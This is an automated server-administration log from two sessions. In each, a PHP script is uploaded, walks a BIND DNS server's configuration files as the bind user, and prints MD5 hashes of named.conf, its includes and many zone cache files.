MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:13:02: Establishing a connection
2026-04-23 13:13:03: 

PUT: /tmp/pkp710615

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:13:03: 

runuser -l bind -s /bin/bash -c '/tmp/pkp710615; rm /tmp/pkp710615'

2026-04-23 13:13:03: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 13:13:51: Establishing a connection
2026-04-23 13:13:51: 

PUT: /tmp/pkp668832

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 13:13:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp668832; rm /tmp/pkp668832'

2026-04-23 13:13:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
